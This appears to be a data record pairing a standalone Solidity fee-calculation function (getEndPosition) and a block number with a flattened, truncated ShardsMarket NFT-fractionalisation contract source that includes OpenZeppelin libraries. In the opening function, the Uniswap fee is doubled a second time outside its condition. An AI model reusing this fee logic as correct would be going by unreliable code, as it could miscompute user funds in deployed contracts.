function getEndPosition(address positionAddr, uint256 slippage, uint256 bifiAmount) external view returns (EndPosition memory) { EndPosition memory endPosition; endPosition = _getPositionLendingInfo(positionAddr); if (endPosition.dstHandlerID == 100) { return endPosition; } endPosition.flashloanFeePercent = _getFlashFeePercent(endPosition.dstHandlerID); endPosition.flashloanFee = _getFlashFee(endPosition.dstHandlerID, endPosition.borrowAmountWithInterest, bifiAmount); if (endPosition.srcHandlerID != endPosition.dstHandlerID) { uint amountsOut = endPosition.borrowAmountWithInterest.add(endPosition.flashloanFee); endPosition.amountsInMax = _getAmountsIn(amountsOut, [endPosition.srcHandlerID, endPosition.dstHandlerID]); endPosition.amountsInMax = (endPosition.amountsInMax).unifiedMul(unifiedPoint.add(slippage)); endPosition.uniswapFeePercent = uniswapFeePercent; endPosition.uniswapFee = endPosition.borrowAmountWithInterest.unifiedMul(endPosition.uniswapFeePercent); if (endPosition.srcHandlerID != ETH_ID && endPosition.dstHandlerID != ETH_ID) { endPosition.uniswapFee = endPosition.uniswapFee.mul(2); endPosition.uniswapFeePercent = endPosition.uniswapFeePercent.mul(2); } } endPosition.uniswapFee = endPosition.uniswapFee.mul(2); (,,,endPosition.bifiReward) = bifiCallProxy.callProxySI_getSI(payable(positionAddr)); return endPosition; }
12,851,899
// File: contracts/interface/MarketInterfaces.sol pragma solidity 0.6.12; pragma experimental ABIEncoderV2; contract ShardsMarketAdminStorage { /** * @notice Administrator for this contract */ address public admin; /** * @notice Governance for this contract which has the right to adjust the parameters of market */ address public governance; /** * @notice Active brains of ShardsMarket */ address public implementation; } contract IShardsMarketStorge is ShardsMarketAdminStorage { address public shardsFactory; address public factory; address public router; address public dev; address public platformFund; address public shardsFarm; address public buyoutProposals; address public regulator; address public shardAdditionProposal; address public WETH; //The totalSupply of shard in the market uint256 public totalSupply = 10000000000000000000000; //Stake Time limit: 60*60*24*5 uint256 public deadlineForStake = 432000; //Redeem Time limit:60*60*24*7 uint256 public deadlineForRedeem = 604800; //The Proportion of the shardsCreator's shards uint256 public shardsCreatorProportion = 5; //The Proportion of the platform's shards uint256 public platformProportion = 5; //The Proportion for dev of the market profit,the rest of profit is given to platformFund uint256 public profitProportionForDev = 20; //max uint256 internal constant max = 100; //shardPool count uint256 public shardPoolIdCount; // all of the shardpoolId uint256[] internal allPools; // Info of each pool. mapping(uint256 => shardPool) public poolInfo; //shardPool struct struct shardPool { address creator; //shard creator ShardsState state; //shard state uint256 createTime; uint256 deadlineForStake; uint256 deadlineForRedeem; uint256 balanceOfWantToken; // all the stake amount of the wantToken in this pool uint256 minWantTokenAmount; //Minimum subscription required by the creator bool isCreatorWithDraw; //Does the creator withdraw wantToken address wantToken; // token address Requested by the creator for others to stake uint256 openingPrice; } //shard of each pool mapping(uint256 => shard) public shardInfo; //shard struct struct shard { string shardName; string shardSymbol; address shardToken; uint256 totalShardSupply; uint256 shardForCreator; uint256 shardForPlatform; uint256 shardForStakers; uint256 burnAmount; } //user info of each pool mapping(uint256 => mapping(address => UserInfo)) public userInfo; struct UserInfo { uint256 amount; bool isWithdrawShard; } enum ShardsState { Live, Listed, ApplyForBuyout, Buyout, SubscriptionFailed, Pending, AuditFailed, ApplyForAddition } struct Token721 { address contractAddress; uint256 tokenId; } struct Token1155 { address contractAddress; uint256 tokenId; uint256 amount; } //nfts of shard creator stakes in each pool mapping(uint256 => Token721[]) internal Token721s; mapping(uint256 => Token1155[]) internal Token1155s; } abstract contract IShardsMarket is IShardsMarketStorge { event ShardCreated( uint256 shardPoolId, address indexed creator, string shardName, string shardSymbol, uint256 minWantTokenAmount, uint256 createTime, uint256 totalSupply, address wantToken ); event Stake(address indexed sender, uint256 shardPoolId, uint256 amount); event Redeem(address indexed sender, uint256 shardPoolId, uint256 amount); event SettleSuccess( uint256 indexed shardPoolId, uint256 platformAmount, uint256 shardForStakers, uint256 balanceOfWantToken, uint256 fee, address shardToken ); event SettleFail(uint256 indexed shardPoolId); event ApplyForBuyout( address indexed sender, uint256 indexed proposalId, uint256 indexed _shardPoolId, uint256 shardAmount, uint256 wantTokenAmount, uint256 voteDeadline, uint256 buyoutTimes, uint256 price, uint256 blockHeight ); event Vote( address indexed sender, uint256 indexed proposalId, uint256 indexed _shardPoolId, bool isAgree, uint256 voteAmount ); event VoteResultConfirm( uint256 indexed proposalId, uint256 indexed _shardPoolId, bool isPassed ); // user operation function createShard( Token721[] calldata Token721s, Token1155[] calldata Token1155s, string memory shardName, string memory shardSymbol, uint256 minWantTokenAmount, address wantToken ) external virtual returns (uint256 shardPoolId); function stakeETH(uint256 _shardPoolId) external payable virtual; function stake(uint256 _shardPoolId, uint256 amount) external virtual; function redeem(uint256 _shardPoolId, uint256 amount) external virtual; function redeemETH(uint256 _shardPoolId, uint256 amount) external virtual; function settle(uint256 _shardPoolId) external virtual; function redeemInSubscriptionFailed(uint256 _shardPoolId) external virtual; function usersWithdrawShardToken(uint256 _shardPoolId) external virtual; function creatorWithdrawWantToken(uint256 _shardPoolId) external virtual; function applyForBuyout(uint256 _shardPoolId, uint256 wantTokenAmount) external virtual returns (uint256 proposalId); function applyForBuyoutETH(uint256 _shardPoolId) external payable virtual returns (uint256 proposalId); function vote(uint256 _shardPoolId, bool isAgree) external virtual; function voteResultConfirm(uint256 _shardPoolId) external virtual returns (bool result); function exchangeForWantToken(uint256 _shardPoolId, uint256 shardAmount) external virtual returns (uint256 wantTokenAmount); function redeemForBuyoutFailed(uint256 _proposalId) external virtual returns (uint256 shardTokenAmount, uint256 wantTokenAmount); //governance operation function setShardsCreatorProportion(uint256 _shardsCreatorProportion) external virtual; function setPlatformProportion(uint256 _platformProportion) external virtual; function setTotalSupply(uint256 _totalSupply) external virtual; function setDeadlineForRedeem(uint256 _deadlineForRedeem) external virtual; function setDeadlineForStake(uint256 _deadlineForStake) external virtual; function setProfitProportionForDev(uint256 _profitProportionForDev) external virtual; function setShardsFarm(address _shardsFarm) external virtual; function setRegulator(address _regulator) external virtual; function setFactory(address _factory) external virtual; function setShardsFactory(address _shardsFactory) external virtual; function setRouter(address _router) external virtual; //admin operation function setPlatformFund(address _platformFund) external virtual; function setDev(address _dev) external virtual; //function shardAudit(uint256 _shardPoolId, bool isPassed) external virtual; //view function function getPrice(uint256 _shardPoolId) public view virtual returns (uint256 currentPrice); function getAllPools() external view virtual returns (uint256[] memory _pools); function getTokens(uint256 shardPoolId) external view virtual returns (Token721[] memory _token721s, Token1155[] memory _token1155s); } // File: contracts/interface/IWETH.sol pragma solidity >=0.5.0; interface IWETH { function deposit() external payable; function transfer(address to, uint256 value) external returns (bool); function withdraw(uint256) external; function approve(address guy, uint256 wad) external returns (bool); } // File: contracts/interface/IShardToken.sol pragma solidity 0.6.12; interface IShardToken { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function burn(uint256 value) external; function mint(address to, uint256 value) external; function initialize( string memory _name, string memory _symbol, address market ) external; function getPriorVotes(address account, uint256 blockNumber) external view returns (uint256); } // File: contracts/interface/IShardsFactory.sol pragma solidity 0.6.12; interface IShardsFactory { event ShardTokenCreated(address shardToken); function createShardToken( uint256 poolId, string memory name, string memory symbol ) external returns (address shardToken); } // File: contracts/interface/IShardsFarm.sol pragma solidity 0.6.12; interface IShardsFarm { function add( uint256 poolId, address lpToken, address ethLpToken ) external; } // File: contracts/interface/IMarketRegulator.sol pragma solidity 0.6.12; interface IMarketRegulator { function IsInWhiteList(address wantToken) external view returns (bool inTheList); function IsInBlackList(uint256 _shardPoolId) external view returns (bool inTheList); } // File: contracts/interface/IBuyoutProposals.sol pragma solidity 0.6.12; contract DelegationStorage { address public governance; /** * @notice Implementation address for this contract */ address public implementation; } contract IBuyoutProposalsStorge is DelegationStorage { address public regulator; address public market; uint256 public proposolIdCount; uint256 public voteLenth = 259200; mapping(uint256 => uint256) public proposalIds; mapping(uint256 => uint256[]) internal proposalsHistory; mapping(uint256 => Proposal) public proposals; mapping(uint256 => mapping(address => bool)) public voted; uint256 public passNeeded = 75; // n times higher than the market price to buyout uint256 public buyoutTimes = 100; uint256 internal constant max = 100; uint256 public buyoutProportion = 15; mapping(uint256 => uint256) allVotes; struct Proposal { uint256 votesReceived; uint256 voteTotal; bool passed; address submitter; uint256 voteDeadline; uint256 shardAmount; uint256 wantTokenAmount; uint256 buyoutTimes; uint256 price; bool isSubmitterWithDraw; uint256 shardPoolId; bool isFailedConfirmed; uint256 blockHeight; uint256 createTime; } } abstract contract IBuyoutProposals is IBuyoutProposalsStorge { function createProposal( uint256 _shardPoolId, uint256 shardBalance, uint256 wantTokenAmount, uint256 currentPrice, uint256 totalShardSupply, address submitter ) external virtual returns (uint256 proposalId, uint256 buyoutTimes); function vote( uint256 _shardPoolId, bool isAgree, address shard, address voter ) external virtual returns (uint256 proposalId, uint256 balance); function voteResultConfirm(uint256 _shardPoolId) external virtual returns ( uint256 proposalId, bool result, address submitter, uint256 shardAmount, uint256 wantTokenAmount ); function exchangeForWantToken(uint256 _shardPoolId, uint256 shardAmount) external view virtual returns (uint256 wantTokenAmount); function redeemForBuyoutFailed(uint256 _proposalId, address submitter) external virtual returns ( uint256 _shardPoolId, uint256 shardTokenAmount, uint256 wantTokenAmount ); function setBuyoutTimes(uint256 _buyoutTimes) external virtual; function setVoteLenth(uint256 _voteLenth) external virtual; function setPassNeeded(uint256 _passNeeded) external virtual; function setBuyoutProportion(uint256 _buyoutProportion) external virtual; function setMarket(address _market) external virtual; function setRegulator(address _regulator) external virtual; function getProposalsForExactPool(uint256 _shardPoolId) external view virtual returns (uint256[] memory _proposalsHistory); } // File: contracts/libraries/TransferHelper.sol pragma solidity >=0.6.0; // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call( abi.encodeWithSelector(0x095ea7b3, to, value) ); require( success && (data.length == 0 || abi.decode(data, (bool))), "TransferHelper: APPROVE_FAILED" ); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call( abi.encodeWithSelector(0xa9059cbb, to, value) ); require( success && (data.length == 0 || abi.decode(data, (bool))), "TransferHelper: TRANSFER_FAILED" ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call( abi.encodeWithSelector(0x23b872dd, from, to, value) ); require( success && (data.length == 0 || abi.decode(data, (bool))), "TransferHelper: TRANSFER_FROM_FAILED" ); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, "TransferHelper: ETH_TRANSFER_FAILED"); } } // File: contracts/interface/IUniswapV2Pair.sol pragma solidity >=0.5.0; interface IUniswapV2Pair { function balanceOf(address owner) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); } // File: contracts/interface/IUniswapV2Factory.sol pragma solidity >=0.5.0; interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns (address pair); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: contracts/libraries/NFTLibrary.sol pragma solidity 0.6.12; library NFTLibrary { using SafeMath for uint256; function getPrice( address tokenA, address tokenB, address factory ) internal view returns (uint256 currentPrice) { address lPTokenAddress = IUniswapV2Factory(factory).getPair(tokenA, tokenB); if (lPTokenAddress == address(0)) { return currentPrice; } (uint112 _reserve0, uint112 _reserve1, ) = IUniswapV2Pair(lPTokenAddress).getReserves(); address token0 = IUniswapV2Pair(lPTokenAddress).token0(); (uint112 reserve0, uint112 reserve1) = token0 == tokenA ? (_reserve0, _reserve1) : (_reserve1, _reserve0); currentPrice = quote(1e18, reserve0, reserve1); } function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) internal pure returns (uint256 amountB) { require(amountA > 0, "INSUFFICIENT_AMOUNT"); require(reserveA > 0 && reserveB > 0, "INSUFFICIENT_LIQUIDITY"); amountB = amountA.mul(reserveB) / reserveA; } function balanceOf(address user, address lPTokenAddress) internal view returns (uint256 balance) { balance = IUniswapV2Pair(lPTokenAddress).balanceOf(user); } function getPair( address tokenA, address tokenB, address factory ) internal view returns (address pair) { pair = IUniswapV2Factory(factory).getPair(tokenA, tokenB); } function tokenVerify(string memory tokenName, uint256 lenthLimit) internal pure returns (bool success) { bytes memory nameBytes = bytes(tokenName); uint256 nameLength = nameBytes.length; require(0 < nameLength && nameLength <= lenthLimit, "INVALID INPUT"); success = true; bool n7; for (uint256 i = 0; i <= nameLength - 1; i++) { n7 = (nameBytes[i] & 0x80) == 0x80 ? true : false; if (n7) { success = false; break; } } } } // File: openzeppelin-solidity/contracts/introspection/IERC165.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: openzeppelin-solidity/contracts/token/ERC721/IERC721.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // File: openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // File: openzeppelin-solidity/contracts/token/ERC721/ERC721Holder.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Implementation of the {IERC721Receiver} interface. * * Accepts all token transfers. * Make sure the contract is able to use its token with {IERC721-safeTransferFrom}, {IERC721-approve} or {IERC721-setApprovalForAll}. */ contract ERC721Holder is IERC721Receiver { /** * @dev See {IERC721Receiver-onERC721Received}. * * Always returns `IERC721Receiver.onERC721Received.selector`. */ function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) { return this.onERC721Received.selector; } } // File: openzeppelin-solidity/contracts/token/ERC1155/IERC1155.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external; } // File: openzeppelin-solidity/contracts/token/ERC1155/IERC1155Receiver.sol pragma solidity >=0.6.0 <0.8.0; /** * _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns(bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns(bytes4); } // File: openzeppelin-solidity/contracts/introspection/ERC165.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // File: openzeppelin-solidity/contracts/token/ERC1155/ERC1155Receiver.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev _Available since v3.1._ */ abstract contract ERC1155Receiver is ERC165, IERC1155Receiver { constructor() internal { _registerInterface( ERC1155Receiver(address(0)).onERC1155Received.selector ^ ERC1155Receiver(address(0)).onERC1155BatchReceived.selector ); } } // File: openzeppelin-solidity/contracts/token/ERC1155/ERC1155Holder.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev _Available since v3.1._ */ contract ERC1155Holder is ERC1155Receiver { function onERC1155Received(address, address, uint256, uint256, bytes memory) public virtual override returns (bytes4) { return this.onERC1155Received.selector; } function onERC1155BatchReceived(address, address, uint256[] memory, uint256[] memory, bytes memory) public virtual override returns (bytes4) { return this.onERC1155BatchReceived.selector; } } // File: contracts/interface/IUniswapV2Router01.sol pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); } // File: contracts/interface/IUniswapV2Router02.sol pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 {} // File: contracts/ShardsMarketDelegateV0.sol pragma solidity 0.6.12; contract ShardsMarketDelegateV0 is IShardsMarket, 